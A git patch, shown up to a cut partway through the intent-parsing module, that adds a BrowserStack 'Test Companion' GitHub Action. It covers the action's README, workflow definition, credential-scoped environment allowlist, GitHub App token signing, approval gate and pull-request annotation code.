From 1ce7c6df7ed63c132e1c2bb6bbf2b4bcd4066366 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:36:10 +0530 Subject: [PATCH 01/49] Add the Test Companion action MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Lets a team ask BrowserStack Test Companion for test work from a pull request comment. Someone comments "@test-companion test this PR"; it reads the change, posts the tests it would write, and writes them once a person replies "go". The result comes back as one comment and one check. Jira: STM-3663, STM-5434. A composite action with ZERO dependencies and no dist/ bundle — unlike the JavaScript actions already here, which commit 8-15MB bundles by hand. What is in src/ is what runs, and there is nothing to rebuild on release. 422 tests, no network and no credentials needed: cd test-companion && node --test --- test-companion/README.md | 89 ++ test-companion/action.yml | 210 ++++ test-companion/package.json | 13 + test-companion/src/access.mjs | 53 + test-companion/src/annotations.mjs | 101 ++ test-companion/src/app-auth.mjs | 96 ++ test-companion/src/child-env.mjs | 56 + test-companion/src/framework.mjs | 41 + test-companion/src/gate.mjs | 90 ++ test-companion/src/intent.mjs | 194 ++++ test-companion/src/main.mjs | 1311 ++++++++++++++++++++++ test-companion/src/outcome.mjs | 148 +++ test-companion/src/plan-run.mjs | 359 ++++++ test-companion/src/push-work.mjs | 288 +++++ test-companion/src/report.mjs | 562 ++++++++++ test-companion/src/runs.mjs | 108 ++ test-companion/src/starter.mjs | 148 +++ test-companion/src/ticket.mjs | 75 ++ test-companion/starter-workflow.yml | 103 ++ test-companion/test/access.test.mjs | 80 ++ test-companion/test/action-yml.test.mjs | 56 + test-companion/test/annotations.test.mjs | 90 ++ test-companion/test/app-auth.test.mjs | 104 ++ test-companion/test/child-env.test.mjs | 46 + test-companion/test/framework.test.mjs | 40 + test-companion/test/gate.test.mjs | 143 +++ test-companion/test/imports.test.mjs | 82 ++ test-companion/test/intent.test.mjs | 241 ++++ test-companion/test/outcome.test.mjs | 154 +++ test-companion/test/plan-run.test.mjs | 604 ++++++++++ test-companion/test/push-work.test.mjs | 399 +++++++ test-companion/test/report.test.mjs | 857 ++++++++++++++ test-companion/test/runs.test.mjs | 179 +++ test-companion/test/starter.test.mjs | 225 ++++ test-companion/test/ticket.test.mjs | 72 ++ 35 files changed, 7417 insertions(+) create mode 100644 test-companion/README.md create mode 100644 test-companion/action.yml create mode 100644 test-companion/package.json create mode 100644 test-companion/src/access.mjs create mode 100644 test-companion/src/annotations.mjs create mode 100644 test-companion/src/app-auth.mjs create mode 100644 test-companion/src/child-env.mjs create mode 100644 test-companion/src/framework.mjs create mode 100644 test-companion/src/gate.mjs create mode 100644 test-companion/src/intent.mjs create mode 100644 test-companion/src/main.mjs create mode 100644 test-companion/src/outcome.mjs create mode 100644 test-companion/src/plan-run.mjs create mode 100644 test-companion/src/push-work.mjs create mode 100644 test-companion/src/report.mjs create mode 100644 test-companion/src/runs.mjs create mode 100644 test-companion/src/starter.mjs create mode 100644 test-companion/src/ticket.mjs create mode 100644 test-companion/starter-workflow.yml create mode 100644 test-companion/test/access.test.mjs create mode 100644 test-companion/test/action-yml.test.mjs create mode 100644 test-companion/test/annotations.test.mjs create mode 100644 test-companion/test/app-auth.test.mjs create mode 100644 test-companion/test/child-env.test.mjs create mode 100644 test-companion/test/framework.test.mjs create mode 100644 test-companion/test/gate.test.mjs create mode 100644 test-companion/test/imports.test.mjs create mode 100644 test-companion/test/intent.test.mjs create mode 100644 test-companion/test/outcome.test.mjs create mode 100644 test-companion/test/plan-run.test.mjs create mode 100644 test-companion/test/push-work.test.mjs create mode 100644 test-companion/test/report.test.mjs create mode 100644 test-companion/test/runs.test.mjs create mode 100644 test-companion/test/starter.test.mjs create mode 100644 test-companion/test/ticket.test.mjs diff --git a/test-companion/README.md b/test-companion/README.md new file mode 100644 index 0000000..a4a8988 --- /dev/null +++ b/test-companion/README.md @@ -0,0 +1,89 @@ +# test-companion + +Ask BrowserStack Test Companion for test work from a pull request. + +Comment `@test-companion test this PR` and it reads the change, proposes the +tests it would write, and writes them once someone replies `go`. The result +comes back as one comment and one check. + +## Quick start + +Two secrets — `BROWSERSTACK_USERNAME` and `BROWSERSTACK_ACCESS_KEY` — and the +workflow below at `.github/workflows/test-companion.yml`. Copy it as-is; what +runs is decided by `testcompanion-pipeline.yml` in your repository, not here. + +```yaml +name: Test Companion + +on: + issue_comment: + types: [created] + pull_request: + types: [opened, reopened, synchronize, closed] + +jobs: + test-companion: + runs-on: ubuntu-latest + timeout-minutes: 35 + permissions: + contents: write # branches and commits + pull-requests: write # the comment + checks: write # the "Test Companion" check + actions: write # stopping a run on request + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # jobs that look at what changed need history + + - uses: browserstack/github-actions/test-companion@v1 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} +``` + +## Pin the CLI version + +`cli-version` is optional and you should set it once you know which version you +want. + +Without a pin the CLI upgrades itself the first time it runs on a release day. +That spends your pipeline's time on a download, and it means two runs a day +apart are not the same software. + +**Both lines or neither.** A version with no checksum is refused — "refusing an +unverified pinned install" — and the job stops before it reports anything. Take +both from the release you tested with. + +```yaml + cli-version: "1.2.0" + cli-sha256: "" +``` + +## Inputs + +| Input | Required | What it does | +|---|---|---| +| `username` | yes | BrowserStack username, from your secret store | +| `access-key` | yes | BrowserStack access key, from your secret store | +| `cli-version` | no | Pin the CLI. Strongly recommended — see above | +| `cli-sha256` | no | Checksum for the pinned version | +| `build-effect` | no | `off`, `report` or `fail` — whether a test failure fails your build | +| `workflow` | no | Manual runs only; event-driven runs read the pipeline file | +| `preview` | no | Report what would happen and change nothing | +| `app-id` / `app-private-key` | no | Use the Test Companion GitHub App's identity | + +## What runs is not decided here + +This file is awkward to change once it is in many repositories, so it stays +near-empty on purpose. Which jobs run, on which events, with which spending +limits, lives in `testcompanion-pipeline.yml` in your own repository, which you +can edit freely without touching the workflow above. + +## Notes for maintainers + +This is a **composite** action with **no dependencies** and no `dist/` bundle to +rebuild — unlike the JavaScript actions elsewhere in this repository. The +sources in `src/` are what run. + +Tests: `cd test-companion && node --test`. They need no network and no +credentials. diff --git a/test-companion/action.yml b/test-companion/action.yml new file mode 100644 index 0000000..fa91e58 --- /dev/null +++ b/test-companion/action.yml @@ -0,0 +1,210 @@ +name: "Test Companion" +description: > + Run Test Companion from a GitHub workflow — generate test cases, explain a red + build, fix stale tests — and report the result back onto the pull request. + Add this as one step with two secrets; everything else is read from the + testcompanion-pipeline.yml in your repository. +author: "BrowserStack" +branding: + icon: check-circle + color: orange + +inputs: + username: + description: "BrowserStack username. Store it as a repository secret, never inline." + required: true + access-key: + description: "BrowserStack access key. Store it as a repository secret, never inline." + required: true + app-id: + description: >- + Test Companion GitHub App id. With it, comments and the check come from + "Test Companion" rather than github-actions[bot], and the permissions + block below can be deleted. Optional — without it the workflow's own + token is used. + required: false + app-private-key: + description: >- + The App's private key. Store it as a repository or organisation secret, + never inline. It is never passed to the agent's shell. + required: false + + workflow: + description: > + Which job to run, for a manual run only (see `tc workflow list`). Leave it + unset for event-driven runs, where the job comes from your pipeline file. + required: false + preview: + description: "Manual runs only: report what would happen and change nothing." + required: false + default: "false" + + cli-version: + description: > + Exact Test Companion CLI version to install, e.g. 1.39.8. Pinning keeps + the same pipeline behaving the same next month. LEAVE IT UNSET AND THE + LATEST RELEASE IS INSTALLED, which can change between runs — so pin it + if you want a pipeline that does not move under you. + required: false + cli-sha256: + description: > + Checksum for the pinned CLI. Required alongside cli-version, because the + installer refuses an unverified pinned install. + required: false + + config: + description: "Path to the pipeline file. Defaults to testcompanion-pipeline.yml at the repo root." + required: false + build-effect: + description: > + Whether a bad outcome reddens THIS step: off, report or fail. The + Test Companion check always reports truthfully regardless. + required: false + default: "report" + github-token: + description: > + Token used to post the check and the comment. Override only to post as a + different identity, such as a GitHub App. + required: false + default: ${{ github.token }} + self-workflow-name: + description: > + This workflow's own name, so a red run of it is never explained by itself. + Defaults to the running workflow. + required: false + default: ${{ github.workflow }} + +outputs: + outcome: + description: "One of: Succeeded, Tests failed, Run broke, Stopped at limit, Could not run." + value: ${{ steps.run.outputs.outcome }} + result-file: + description: >- + Path to the run's RESULT — the test cases it generated, with their steps. + Written whether or not they reached Test Management, which is the only + record a preview run leaves behind. Distinct from summary-file, which + records how the run went rather than what it produced. + value: ${{ steps.run.outputs.result-file }} + summary-file: + description: "Path to the run's report file." + value: ${{ steps.run.outputs.summary-file }} + cli-version: + description: "The CLI version that actually ran." + value: ${{ steps.install.outputs.cli-version }} + +runs: + using: composite + steps: + # A fresh runner has no git identity, and several jobs commit internally. + # Scoped to this repository rather than --global so nothing outlives the run. + - name: Give this run a git identity + shell: bash + run: | + set -euo pipefail + git config user.email "test-companion[bot]@users.noreply.github.com" + git config user.name "Test Companion" + + - name: Install the Test Companion CLI + id: install + shell: bash + env: + TC_VERSION: ${{ inputs.cli-version }} + TC_SHA256: ${{ inputs.cli-sha256 }} + run: | + set -euo pipefail + curl -fsSL -o /tmp/tc-install.sh https://test-companion.browserstack.com/cli/install.sh + sh /tmp/tc-install.sh + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" + # FR-2: pinning only means something if the pin actually took. The + # installer refuses an unverified pinned install on its own, but a + # silent fallback to latest would leave the run reporting a version + # nobody asked for — and "the same pipeline behaves the same next + # month" is the entire point of the input. + if [ -n "${TC_VERSION:-}" ] && [ "${version#*"$TC_VERSION"}" = "$version" ]; then + echo "::error::Asked for Test Companion CLI $TC_VERSION but got '$version'." >&2 + exit 1 + fi + echo "cli-version=$version" >> "$GITHUB_OUTPUT" + echo "::notice::Test Companion $version" + + # The CLI only picks up ambient BROWSERSTACK_* credentials during `auth + # login`; other commands just find no stored session and exit 3. Assuming + # the environment variables alone were enough cost a live run to discover. + - name: Sign in + shell: bash + env: + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # FR-2. This is the FIRST tc command of the job, and without the + # pin here the CLI self-upgrades during `auth login` — before the + # Run step below ever applies it. The pin then correctly reports + # a mismatch against the binary the pin was meant to preserve, + # so ASKING FOR A PINNED VERSION MADE THE RUN FAIL. Seen live on + # 2026-10-29 when tc 1.1.9 shipped: "pinned to version 1.1.8 but + # the installed binary is 1.1.9". + # + # Every step that runs tc needs this, not just the one that does + # the work. + TC_PIN_VERSION: ${{ inputs.cli-version }} + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_CLI_VERSION: ${{ steps.install.outputs.cli-version }} + run: | + set -euo pipefail + # Bounded: a surface that cannot draw a browser must never sit waiting + # on an interactive sign-in. + timeout 120 tc auth login + + - name: Run + id: run + shell: bash + env: + # The CLI picks these up on a non-interactive shell with no extra flags. + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # Stops the CLI upgrading itself mid-pipeline, so a pinned version stays + # pinned and the 90-second first-response budget is not spent on a download. + TC_PIN_VERSION: ${{ inputs.cli-version }} + # Only this step may talk to the GitHub API. Deliberately not exported to + # the environment the agent's own shell commands run in. + GH_TOKEN: ${{ inputs.github-token }} + # A CI runner has no Claude Code to install a skill into; it just adds + # noise and a write to the home directory. + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_WORKFLOW: ${{ inputs.workflow }} + TC_ACTION_PREVIEW: ${{ inputs.preview }} + TC_ACTION_CONFIG: ${{ inputs.config }} + TC_ACTION_BUILD_EFFECT: ${{ inputs.build-effect }} + TC_ACTION_SELF_WORKFLOW: ${{ inputs.self-workflow-name }} + TC_ACTION_APP_ID: ${{ inputs.app-id }} + TC_ACTION_APP_PRIVATE_KEY: ${{ inputs.app-private-key }} + run: node "${{ github.action_path }}/src/main.mjs" + + - name: Attach the report + if: always() && steps.run.outputs.summary-file != '' + uses: actions/upload-artifact@v4 + with: + name: test-companion-report + path: ${{ steps.run.outputs.summary-file }} + if-no-files-found: ignore + + # Separate artifact from the report, because it answers a different + # question and has a different reader: the report says how the run went, + # this is the work itself. For a preview run it is the only place that + # work survives, so it is attached even when the run is about to go red. + - name: Attach the generated test cases + if: always() && steps.run.outputs.result-file != '' + uses: actions/upload-artifact@v4 + with: + name: test-companion-result + path: ${{ steps.run.outputs.result-file }} + if-no-files-found: ignore + + # Separate from the run step so the report is attached even when the build + # effect says this run should redden the build. + - name: Apply the build effect + if: always() && steps.run.outputs.should-fail == 'true' + shell: bash + run: | + echo "::error::Test Companion: ${{ steps.run.outputs.outcome }}" + exit 1 diff --git a/test-companion/package.json b/test-companion/package.json new file mode 100644 index 0000000..73b1f1b --- /dev/null +++ b/test-companion/package.json @@ -0,0 +1,13 @@ +{ + "name": "test-companion-action", + "version": "0.1.0", + "private": true, + "type": "module", + "description": "GitHub Action wrapper around the Test Companion CLI (STM-3663).", + "scripts": { + "test": "node --test" + }, + "engines": { + "node": ">=20" + } +} diff --git a/test-companion/src/access.mjs b/test-companion/src/access.mjs new file mode 100644 index 0000000..342ec26 --- /dev/null +++ b/test-companion/src/access.mjs @@ -0,0 +1,53 @@ +/** + * Who may ask Test Companion for a run — STM-5434 FR-33. + * + * Write access is the floor and it is not negotiable. On a public repository + * anyone can comment, and a run executes an agent with --yolo against the + * customer's own machine and credentials, so this is the whole access-control + * story for the comment trigger. + * + * The pipeline file may NARROW that to a named team. It may never widen it: + * being on the team is not a way in for someone who cannot write to the + * repository. That asymmetry is the requirement, and it is the reason this is a + * function rather than two booleans combined at the call site. + */ + +/** + * `inTeam` is tri-state on purpose. `undefined` means we could not find out — + * no token for the organisation, API down, rate limited — and an unanswerable + * question is a no, matching hasWriteAccess itself. + */ +export function mayAsk({ hasWriteAccess, askTeam, inTeam } = {}) { + if (!hasWriteAccess) return false + if (!String(askTeam ?? "").trim()) return true + return inTeam === true +} + +/** + * Can this run write test code where the settings say it should? — FR-42. + * + * Tests go in the pull request's own repository by default. A repository that + * points somewhere else needs either the GitHub App installed on both, or a + * token with write access stored as a secret. + * + * FR-42 asks for the summary to say WHICH is missing, and that wording is the + * requirement: a bare "permission denied" halfway through a run leaves someone + * guessing between the two, after the credits are already spent. + * + * `canPush` is tri-state. undefined means we could not find out, and an + * unanswerable question is a no — the same rule as every other access check + * here. + */ +export function describeTestRepoAccess({ testsRepo, thisRepo, canPush } = {}) { + const target = String(testsRepo ?? "").trim() + if (!target) return { ok: true } + if (target.toLowerCase() === String(thisRepo ?? "").toLowerCase()) return { ok: true } + if (canPush === true) return { ok: true } + + return { + ok: false, + message: + `Test code is configured to go to \`${target}\`, but this run cannot write there, so nothing was written to it. ` + + `Install the Test Companion GitHub App on both repositories, or add a token with write access to \`${target}\` as a secret.`, + } +} diff --git a/test-companion/src/annotations.mjs b/test-companion/src/annotations.mjs new file mode 100644 index 0000000..4155c35 --- /dev/null +++ b/test-companion/src/annotations.mjs @@ -0,0 +1,101 @@ +/** + * Putting each failing test on the diff — STM-3663 FR-28, FR-48. + * + * A check that says "Tests failed" and nothing else makes the reviewer leave + * the pull request, open the run, and read the logs. An annotation puts the + * failure on the line itself, in the files-changed view they are already in. + * + * ONE HONEST LIMITATION, stated here because it is easy to misread the result: + * the line is where the test is DECLARED, not where the assertion failed. + * Playwright prints `file:line:col` for the test's declaration on every result + * line and prints nothing machine-readable for the failing assertion. The + * declaration is a real place in the right test, which is what makes the + * annotation useful; it is not the failing statement. + * + * Reporters that print no locator at all (mocha, and anything driving it such + * as wdio) produce no annotations. Those failures are still named in the + * report — being unable to point at a line is not a reason to say nothing. + * + * A SECOND LIMITATION worth knowing before someone debugs it: the path comes + * from the reporter, which prints it relative to the test runner's own root + * (Playwright's `testDir`), and GitHub wants it relative to the repository + * root. They are the same thing in the common layout and differ when the suite + * lives in a subdirectory. GitHub silently ignores an annotation whose path it + * cannot place, so the failure mode is a missing annotation rather than a + * wrong one — the failure is still named in the report either way. + */ + +/** + * GitHub rejects a check-run request carrying more than 50 annotations. A + * suite with 300 failures must not lose the whole set to one rejected call, so + * the list is cut rather than the request risked. + */ +export const MAX_ANNOTATIONS = 50 + +/** + * Read the failing tests back out of the report. + * + * Needs its own reader because parseSummary builds an object, where repeated + * keys collapse and only the last failing test would survive. + * + * The writer separates the name from the location with a TAB (see + * RunSummary.Render in cli/pkg/cli/workflow/summary.go) because a test name is + * whatever the reporter printed and may legitimately contain a colon, a path, + * or something that looks exactly like a locator. + */ +export function parseFailedTests(reportText) { + const out = [] + for (const line of String(reportText ?? "").split("\n")) { + if (!line.startsWith("failed_test: ")) continue + const [name, location] = line.slice("failed_test: ".length).split("\t") + if (!name) continue + if (!location) { + out.push({ name }) + continue + } + const at = location.lastIndexOf(":") + const lineNo = at === -1 ? NaN : Number(location.slice(at + 1)) + if (at > 0 && Number.isInteger(lineNo) && lineNo > 0) { + out.push({ name, file: location.slice(0, at), line: lineNo }) + } else { + out.push({ name, file: location }) + } + } + return out +} + +/** + * A path GitHub can actually annotate: inside the repository, relative to its + * root. An absolute path annotates nothing, and one climbing out of the + * checkout would point at a file that is not in the pull request at all. + */ +const insideTheRepo = (file) => + typeof file === "string" && + file.length > 0 && + !file.startsWith("/") && + !/^[A-Za-z]:[\\/]/.test(file) && + !file.split(/[\\/]/).includes("..") + +/** Turn the failing tests into check-run annotations. */ +export function buildAnnotations(failedTests) { + const out = [] + for (const t of failedTests ?? []) { + if (!insideTheRepo(t.file)) continue + const known = Number.isInteger(t.line) && t.line > 0 + out.push({ + path: t.file, + // GitHub requires a line. Without one the top of the file is the + // only honest place left, and the message says why it is there so + // nobody reads line 1 as the failing statement. + start_line: known ? t.line : 1, + end_line: known ? t.line : 1, + annotation_level: "failure", + title: "Test Companion", + message: known + ? `${t.name} failed. This is where the test is declared; the assertion that failed may be further down.` + : `${t.name} failed. The reporter did not say which line, so this is the top of the file.`, + }) + if (out.length === MAX_ANNOTATIONS) break + } + return out +} diff --git a/test-companion/src/app-auth.mjs b/test-companion/src/app-auth.mjs new file mode 100644 index 0000000..e47aca2 --- /dev/null +++ b/test-companion/src/app-auth.mjs @@ -0,0 +1,96 @@ +/** + * Signing in as the Test Companion GitHub App — STM-5434 Release 4. + * + * Release 4 buys exactly three things, and this is what makes the first two + * real: the comment and the tick come from "Test Companion" rather than + * github-actions[bot], and the team can delete the permissions block from + * their workflow file because an installation token carries the App's own + * permissions. + * + * It does not run anything. A run still happens on the customer's machine + * with their BrowserStack credentials; this only changes who GitHub thinks is + * talking. + * + * Zero dependencies, like the rest of the Action: Node's crypto signs the JWT + * and `gh` exchanges it. The private key never leaves this process, and never + * reaches the agent's environment — childEnvFor is an allowlist and these + * names are not on it. + */ +import { createSign } from "node:crypto" + +/** base64url, which is what JWT uses — base64 with three characters swapped. */ +const b64url = (input) => Buffer.from(input).toString("base64url") + +/** + * The App's credentials, or nothing. + * + * Both halves are required: an App id with no key cannot sign, and a key with + * no id cannot say who it is. Either alone means the workflow is half + * configured, and falling back to the workflow token is the right answer — + * silently, because a repository that never set this up is the normal case. + */ +export function appCredentials(env = {}) { + const appId = String(env.TC_ACTION_APP_ID ?? "").trim() + const privateKey = String(env.TC_ACTION_APP_PRIVATE_KEY ?? "").trim() + if (!appId || !privateKey) return undefined + return { appId, privateKey } +} + +/** How long a JWT lives. GitHub refuses anything over ten minutes. */ +const JWT_LIFETIME_SECONDS = 540 + +/** + * The claims GitHub expects on an App JWT. + * + * `iat` is backdated a minute on purpose. GitHub rejects a token whose issued-at + * is in the future, runner clocks drift, and the failure reads "issued at is in + * the future" on an otherwise perfectly configured workflow. Backdating is the + * documented workaround. + */ +export function jwtClaims(appId, nowSeconds) { + const iat = Math.floor(nowSeconds) - 60 + return { iat, exp: iat + JWT_LIFETIME_SECONDS, iss: String(appId) } +} + +/** A signed App JWT. RS256 is the only algorithm GitHub accepts here. */ +export function signJwt({ appId, privateKey, now = Date.now() / 1000 }) { + const header = b64url(JSON.stringify({ alg: "RS256", typ: "JWT" })) + const payload = b64url(JSON.stringify(jwtClaims(appId, now))) + const signature = createSign("RSA-SHA256").update(`${header}.${payload}`).sign(privateKey, "base64url") + return `${header}.${payload}.${signature}` +} + +/** + * What to ask for when minting an installation token — FR-4. + * + * FR-4 says the Action uses the App's identity "for that repo only". A token + * minted with no body does the opposite: it carries every permission the + * installation holds across every repository it covers, so a run in one + * repository would hold write access to all of an organisation's. + * + * The permissions are the four the starter workflow asks for, and the four + * this Action actually uses: + * contents — branches and commits for the fix and reconcile jobs + * pull_requests — the one comment, and opening a pull request + * checks — the "Test Companion" check + * actions — reading the red run, and cancelling one on "stop" + * + * Returns undefined for a repository we cannot parse. Falling back to an + * unscoped request would be the worst possible reading of a value we did not + * understand. + */ +export function installationTokenRequest(repo) { + const parts = String(repo ?? "").split("/") + if (parts.length !== 2 || !parts[0] || !parts[1]) return undefined + return { + // Bare names: the API rejects "owner/name" here as not found, which + // would silently fall back to the workflow token. + repositories: [parts[1]], + permissions: { + contents: "write", + pull_requests: "write", + checks: "write", + actions: "write", + }, + } +} diff --git a/test-companion/src/child-env.mjs b/test-companion/src/child-env.mjs new file mode 100644 index 0000000..47d9dbc --- /dev/null +++ b/test-companion/src/child-env.mjs @@ -0,0 +1,56 @@ +/** + * What the agent's subprocess is allowed to see — STM-3663 FR-3. + * + * Pulled out of main.mjs so this boundary is testable: everything here is + * readable by shell commands the model chooses to run, which makes it the one + * place in the Action where a mistake hands away a credential. + */ +/** + * The environment the agent's subprocess gets — an allowlist, not a denylist. + * + * The run executes shell commands the model chooses, so everything here is + * readable by them. A denylist was the first attempt and was not enough: a + * composite action's own inputs can surface as INPUT_* variables, which would + * have reintroduced the very GitHub token the denylist removed. Listing what + * the CLI needs is the only version that stays correct as the surroundings + * change. + * + * Known gap, not solved here: `actions/checkout` leaves a credential in + * .git/config, which this cannot reach. That is the same tension recorded as an + * open item in the tech spec — the pull-request-raising jobs genuinely need a + * push credential inside the run. + */ +export function childEnvFor(source) { + const KEEP_EXACT = new Set([ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TERM", + "TMPDIR", + "TZ", + "LANG", + "LC_ALL", + "CI", + "RUNNER_OS", + "RUNNER_ARCH", + "RUNNER_TEMP", + ]) + // The exception to the TC_ prefix below, and the reason this is an explicit + // list rather than a rule. The App's private key is TC_ACTION_APP_* — it + // matches the kept prefix, and it can mint installation tokens for every + // repository the App is installed on. That is a far worse thing to hand a + // shell than the workflow token this allowlist was written to keep out. + const NEVER = new Set(["TC_ACTION_APP_ID", "TC_ACTION_APP_PRIVATE_KEY"]) + // TC_* is the CLI's own configuration; BROWSERSTACK_* is how it signs in; + // the proxy variables matter inside corporate networks. + const KEEP_PREFIX = ["TC_", "BROWSERSTACK_", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"] + const out = {} + for (const [k, v] of Object.entries(source)) { + if (v == null) continue + if (NEVER.has(k)) continue + if (KEEP_EXACT.has(k) || KEEP_PREFIX.some((pre) => k.startsWith(pre))) out[k] = v + } + return out +} diff --git a/test-companion/src/framework.mjs b/test-companion/src/framework.mjs new file mode 100644 index 0000000..f97d0b9 --- /dev/null +++ b/test-companion/src/framework.mjs @@ -0,0 +1,41 @@ +/** + * Which test framework does this repository use? — STM-5434 FR-13. + * + * FR-13 asks for the starter settings file to arrive "with the detected + * framework", so a team opening the pull request sees their own setup + * reflected rather than a generic file. + * + * Pure: the caller does the directory walk and the package.json read, this + * decides. Guessing WRONG is worse than not guessing — a starter file naming + * Cypress at a Playwright shop tells the team Test Companion understood their + * setup when it did not — so anything unrecognised returns undefined and the + * starter stays generic. + */ + +/** + * A config file is stronger evidence than a dependency: it is what actually + * runs. A repository can easily carry `@playwright/test` in devDependencies + * from an experiment while its suite is Cypress. + */ +const BY_CONFIG = [ + [/(^|\/)playwright\.config\.[cm]?[jt]s$/i, "Playwright"], + [/(^|\/)cypress\.config\.[cm]?[jt]s$/i, "Cypress"], + [/(^|\/)wdio\.conf\.[cm]?[jt]s$/i, "WebdriverIO"], +] + +const BY_DEPENDENCY = [ + [/^@playwright\/test$|^playwright$/i, "Playwright"], + [/^cypress$/i, "Cypress"], + [/^@wdio\/cli$|^webdriverio$/i, "WebdriverIO"], + [/^selenium-webdriver$/i, "Selenium"], +] + +export function detectFramework({ filenames = [], deps = {} } = {}) { + for (const [pattern, name] of BY_CONFIG) { + if (filenames.some((f) => pattern.test(String(f)))) return name + } + for (const [pattern, name] of BY_DEPENDENCY) { + if (Object.keys(deps ?? {}).some((d) => pattern.test(d))) return name + } + return undefined +} diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs new file mode 100644 index 0000000..b4bf655 --- /dev/null +++ b/test-companion/src/gate.mjs @@ -0,0 +1,90 @@ +/** + * Should this request run, or wait for someone to approve it? — STM-5434 FR-43. + * + * The flagship interaction in the PRD: a developer asks, Test Companion says + * what it plans to do, an SDET replies "go", and only then does anything get + * written. + * + * The mechanism is deliberately boring. A held request is run in PREVIEW and + * its report becomes the proposal. Preview has been enforced in the agent's + * tool dispatch since Release 1, so FR-43's "nothing SHALL be written before + * go" is a property of how the run executes rather than a promise made in a + * prompt. The alternative — a separate "propose only" mode in the brain — + * would be a second thing to keep honest. + * + * Pure, so every branch is testable without a runner. + */ +import { INTENT } from "./intent.mjs" + +/** What to do with the request. */ +export const GATE = Object.freeze({ + /** Run it. `preview` says whether for real. */ + RUN: "run", + /** Run it in preview and post the report as a proposal, then end — FR-43. */ + PROPOSE: "propose", + /** A "go" arrived with no proposal waiting. */ + NOTHING_TO_APPROVE: "nothing-to-approve", + /** A "go" arrived on a proposal older than the FR-44 window. */ + EXPIRED: "expired", +}) + +const STRAIGHT_THROUGH = "straight-through" + +/** + * `approval` is the RESOLVED value from `tc workflow bindings --json`. + * + * Anything else — an unvalidated value, or a bindings read that failed and left + * it undefined — holds for review. Fails closed, matching ResolvedApproval on + * the Go side: the cost of a needless proposal is one comment, and the cost of + * the other mistake is an unreviewed run that writes. + */ +export function decideGate({ intent, approval, proposal, actor } = {}) { + if (intent?.kind === INTENT.GO) { + if (!proposal) return { action: GATE.NOTHING_TO_APPROVE } + if (proposal.expired) return { action: GATE.EXPIRED } + // Approving is the whole point, so this is explicitly not a preview. + // + // selfApproved is reported, not refused. Asking and approving both need + // write access, so this is not a privilege boundary — it is a + // workflow-integrity signal. Refusing it outright would strand a solo + // maintainer, who could then never approve anything. + return { + action: GATE.RUN, + preview: false, + approvedProposal: proposal.id, + selfApproved: Boolean(proposal.requester) && proposal.requester === actor, + } + } + + // They already asked for the safe thing. Holding a preview for approval + // would be asking permission to write nothing. + if (intent?.preview) return { action: GATE.RUN, preview: true } + + if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } + + // "review-before-run", and anything unrecognised, which fails closed here. + return { action: GATE.PROPOSE, preview: true } +} + +/** FR-44's thresholds, both marked ASSUMPTION in the PRD. */ +const MANY_FILES = 20 +const MANY_LINES = 1000 + +/** + * Is this change too big to test in one go? — FR-44. + * + * An unreadable pull request is NOT large. Getting that backwards would tell + * every reviewer their change is too big whenever the API call failed. + * + * NOT YET: FR-44 goes on to say the run should propose a FOCUSED set and list + * what it left out. Choosing which part of a thirty-file change to test is the + * agent's judgement, and there is no input for handing it that instruction + * today, so this reports the size and lets the reviewer narrow the proposal + * before approving it. Passing a context key nothing reads would look finished + * and do nothing. + */ +export function describeChangeSize(pr) { + const files = Number(pr?.changed_files ?? 0) + const lines = Number(pr?.additions ?? 0) + Number(pr?.deletions ?? 0) + return { files, lines, large: files > MANY_FILES || lines > MANY_LINES } +} diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs new file mode 100644 index 0000000..384f792 --- /dev/null +++ b/test-companion/src/intent.mjs @@ -0,0 +1,194 @@ +/** + * What did the comment ask for? — STM-5434 FR-34. + * + * A person writes "@test-companion fix the failing tests" and something has to + * turn that sentence into a job name. That happens HERE, in the Action, before + * the CLI is spawned, for one reason: FR-34 says a request we cannot place gets + * a reply listing what we can do, and "nothing SHALL run". Handing the sentence + * to the agent and letting it work out what was meant would spend the + * customer's credits discovering that "make coffee" was never a job. + * + * Kept pure — text in, intent out, no I/O — like plan-run.mjs beside it, so the + * whole vocabulary is testable in milliseconds instead of a push-and-wait loop. + * + * The phrasing people use is NOT a closed set, and this will never match + * everything. That is why UNKNOWN is a real answer rather than a failure: an + * unmatched comment gets the list of what Test Companion can do, which is both + * the honest reply and the cheapest one. + */ + +/** What a comment turned out to be asking for. */ +export const INTENT = Object.freeze({ + /** Run a Test Companion job. `workflow` names it, or is null for "whatever is bound". */ + WORKFLOW: "workflow", + /** Cancel the run in flight — FR-35. */ + STOP: "stop", + /** Approve a waiting proposal, which starts the real run — FR-43. */ + GO: "go", + /** Open the pull request that adds a starter pipeline file — FR-13. */ + SETUP: "setup", + /** We could not place it. FR-34: reply with the list, run nothing. */ + UNKNOWN: "unknown", +}) + +/** + * GitHub's "Quote reply" button copies the comment being replied to in as `>` + * lines, mention and all. Without dropping those first, replying to Test + * Companion's own "comment stop to cancel" message would cancel the run: the + * quoted words match before the person's own ever get read. + */ +const withoutQuotes = (text) => + text + .split("\n") + .filter((line) => !/^\s*>/.test(line)) + .join("\n") + +/** + * A leading politeness, which says nothing about what is being asked for. + * "please stop" is a stop; dropping it lets the patterns below anchor. + */ +const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+/i + +/** + * Cancel the run in flight — FR-35. Still checked before any job word, so + * "stop, don't fix anything" cannot start a fix run. + * + * ANCHORED, because matching the word anywhere made "don't stop until the + * 